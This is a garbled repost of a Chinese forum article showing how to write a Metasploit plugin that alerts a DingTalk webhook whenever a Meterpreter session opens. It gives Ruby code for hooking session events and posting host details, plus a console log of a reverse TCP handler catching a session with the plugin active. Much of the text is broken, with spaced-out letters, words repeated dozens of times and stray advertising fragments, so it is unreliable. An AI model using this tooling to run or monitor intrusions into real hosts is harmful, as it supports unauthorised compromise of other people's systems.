[7004] 2020-10-24_Metasploit插件之钉钉机器人通知主机上线

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-17
2020-10-24_Metasploit插件之钉钉机器人通知主机上线 M e t a s p l o i t 线 E   2 0 2 0 - 1 0 - 2 4   使 线 M e t a s p l o i t 线 p l u g i n s / s e s s i o n _ n o t i f i e r . r b 线 N o . 1 N o . 1 l i b / m s f / c o r e / p l u g i n . r b l i b / m s f / c o r e / p l u g i n _ m a n a g e r . r b l o a d u n l o a d p l u g i n s / s a m p l e . r b C o n s o l e C o m m a n d D i s p a t c h e r s a m p l e h e l p c m d _ s a m p l e 使 a d d _ c o n s o l e _ d i s p a t c h e r N o . 2 N o . 2 线 o n _ s e s s i o n _ o p e n l i b / m s f / c o r e / s e s s i o n . r b o n _ s e s s i o n _ o p e n s e s s i o n _ e v e n t _ s u b s c r i b e r s l i b / m s f / c o r e / e v e n t _ d i s p a t c h e r . r b   . c l a s s   C o n s o l e C o m m a n d D i s p a t c h e r         i n c l u d e   M s f : : U i : : C o n s o l e : : C o m m a n d D i s p a t c h e r         #         #   T h e   d i s p a t c h e r ' s   n a m e .         #         d e f   n a m e                 " S a m p l e "         e n d         #         #   R e t u r n s   t h e   h a s h   o f   c o m m a n d s   s u p p o r t e d   b y   t h i s   d i s p a t c h e r .         #         d e f   c o m m a n d s                 {                         " s a m p l e "   = >   " A   s a m p l e   c o m m a n d   a d d e d   b y   t h e   s a m p l e   p l u g i n "                 }         e n d         #         #   T h i s   m e t h o d   h a n d l e s   t h e   s a m p l e   c o m m a n d .         #         d e f   c m d _ s a m p l e ( * a r g s )                 p r i n t _ l i n e ( " Y o u   p a s s e d :   #   { a r g s . j o i n ( '   ' ) } " )         e n d e n d s e l f . f r a m e w o r k . e v e n t s . a d d _ s e s s i o n _ s u b s c r i b e r ( s e l f )
3 s e s s i o n _ e v e n t _ s u b s c r i b e r s N o . 3 N o . 3 W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k W e b h o o k m a r k d o w n #   o n _ s e s s i o n _ o p e n d e f   m e t h o d _ m i s s i n g ( n a m e ,   * a r g s )         e v e n t , t y p e , r e s t   =   n a m e . t o _ s . s p l i t ( " _ " ,   3 )     #   e v e n t   = >   o n ;   t y p e   = >   s e s s i o n ;   r e s t   = >   o p e n         s u b s c r i b e r s   =   " #   { t y p e } _ e v e n t _ s u b s c r i b e r s "     #   s e s s i o n _ e v e n t _ s u b s c r i b e r s         f o u n d   =   f a l s e         c a s e   e v e n t         w h e n   " o n "                 i f   r e s p o n d _ t o ? ( s u b s c r i b e r s ,   t r u e )                         f o u n d   =   t r u e                         s e l f . s e n d ( s u b s c r i b e r s ) . e a c h   d o   | s u b |                                 n e x t   i f   n o t   s u b . r e s p o n d _ t o ? ( n a m e ,   t r u e )     #   o n _ s e s s i o n _ o p e n                                 s u b . s e n d ( n a m e ,   * a r g s )     #   s e s s i o n _ e v e n t _ s u b s c r i b e r s o n _ s e s s i o n _ o p e n                         e n d                 e l s e                         ( g e n e r a l _ e v e n t _ s u b s c r i b e r s   +   c u s t o m _ e v e n t _ s u b s c r i b e r s ) . e a c h   d o   | s u b |                                 n e x t   i f   n o t   s u b . r e s p o n d _ t o ? ( n a m e ,   t r u e )                                 s u b . s e n d ( n a m e ,   * a r g s )                                 f o u n d   =   t r u e                         e n d                 e n d         w h e n   " a d d "                 i f   r e s p o n d _ t o ? ( s u b s c r i b e r s ,   t r u e )                         f o u n d   =   t r u e                         a d d _ e v e n t _ s u b s c r i b e r ( s e l f . s e n d ( s u b s c r i b e r s ) ,   * a r g s )                 e n d         w h e n   " r e m o v e "                 i f   r e s p o n d _ t o ? ( s u b s c r i b e r s ,   t r u e )                         f o u n d   =   t r u e                         r e m o v e _ e v e n t _ s u b s c r i b e r ( s e l f . s e n d ( s u b s c r i b e r s ) ,   * a r g s )                 e n d         e n d         r e t u r n   f o u n d e n d d e f   s e n d _ t e x t _ t o _ d i n g t a l k ( s e s s i o n )         #   h t t p s : / / d i n g - d o c . d i n g t a l k . c o m / d o c #   / s e r v e r a p i 2 / q f 2 n x q / 9 e 9 1 d 7 3 c         u r i _ p a r s e r   =   U R I . p a r s e ( d i n g t a l k _ w e b h o o k )         m a r k d o w n _ t e x t   =   " # #   Y o u   h a v e   a   n e w   #   { s e s s i o n . t y p e }   s e s s i o n ! n n "                   " * * p l a t f o r m * *   :   #   { s e s s i o n . p l a t f o r m } n n "                   " * * t u n n e l * *   :   #   { s e s s i o n . t u n n e l _ t o _ s } n n "                   " * * a r c h * *   :   #   { s e s s i o n . a r c h } n n "                   " * * i n f o * *   :   >   #   { s e s s i o n . i n f o   ?   s e s s i o n . i n f o . t o _ s   :   n i l } "         j s o n _ p o s t _ d a t a   =   J S O N . p r e t t y _ g e n e r a t e ( {                 m s g t y p e :   ' m a r k d o w n ' ,                 m a r k d o w n :   {   t i t l e :   ' S e s s i o n   N o t i f i e r ' ,   t e x t :   m a r k d o w n _ t e x t   }                 } )         h t t p   =   N e t : : H T T P . n e w ( u r i _ p a r s e r . h o s t ,   u r i _ p a r s e r . p o r t )         h t t p . u s e _ s s l   =   t r u e         r e q u e s t   =   N e t : : H T T P : : P o s t . n e w ( u r i _ p a r s e r . r e q u e s t _ u r i )         r e q u e s t . c o n t e n t _ t y p e   =   ' a p p l i c a t i o n / j s o n '
N o . 3 N o . 3 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 s e s s i o n h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k / p u l l / 1 3 5 7 1 E   h t t p s : / / w w w . e a s y a q . c o m T r i c k b o t 9 4 % 使 4 0   2 0 0 0 G a r t n e r             r e q u e s t . c o n t e n t _ t y p e   =   ' a p p l i c a t i o n / j s o n '         r e q u e s t . b o d y   =   j s o n _ p o s t _ d a t a         r e s   =   h t t p . r e q u e s t ( r e q u e s t )         b o d y   =   J S O N . p a r s e ( r e s . b o d y )         p r i n t _ s t a t u s ( ( b o d y [ ' e r r c o d e ' ]   = =   0 )   ?   ' S e s s i o n   n o t i f i e d   t o   D i n g T a l k . '   :   ' F a i l e d   t o   s e n d   n o t i f i c a t i o n . ' ) e n d m s f 6   e x p l o i t ( m u l t i / h a n d l e r )   >   l o a d   s e s s i o n _ n o t i f i e r   [ * ]   S u c c e s s f u l l y   l o a d e d   p l u g i n :   S e s s i o n N o t i f i e r m s f 6   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t _ s e s s i o n _ d i n g t a l k _ w e b h o o k   h t t p s : / / o a p i . d i n g t a l k . c o m / r o b o t / s e n d ? a c c e s s _ t o k e n = 5 a 4 3 9 c c 0 0 0 9 a b d 5 5 1 a 9 7 e 1 3 0 2 a 9 6 4 8 0 1 d a 2 f 3 f f e 5 b a 0 6 e 9 7 d 1 9 2 9 4 a 5 5 2 0 2 c a a 3 m s f 6   e x p l o i t ( m u l t i / h a n d l e r )   >   s t a r t _ s e s s i o n _ n o t i f i e r   [ * ]   D i n g T a l k   n o t i f i c a t i o n   s t a r t e d . m s f 6   e x p l o i t ( m u l t i / h a n d l e r )   >   r u n [ * ]   S t a r t e d   r e v e r s e   T C P   h a n d l e r   o n   1 9 2 . 1 6 8 . 5 6 . 1 : 7 7 8 8   [ * ]   S e n d i n g   s t a g e   ( 1 7 5 1 7 4   b y t e s )   t o   1 9 2 . 1 6 8 . 5 6 . 1 0 5 [ * ]   M e t e r p r e t e r   s e s s i o n   1   o p e n e d   ( 1 9 2 . 1 6 8 . 5 6 . 1 : 7 7 8 8   - >   1 9 2 . 1 6 8 . 5 6 . 1 0 5 : 1 0 7 8 )   a t   2 0 2 0 - 1 0 - 0 4   1 1 : 0 8 : 5 4   + 0 8 0 0 [ * ]   S e s s i o n   n o t i f i e d   t o   D i n g T a l k . m e t e r p r e t e r   >
稿     1 5 5 5 8 1 9 2 9 5 9     E E a n q u a n 0 9 1 4 E
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则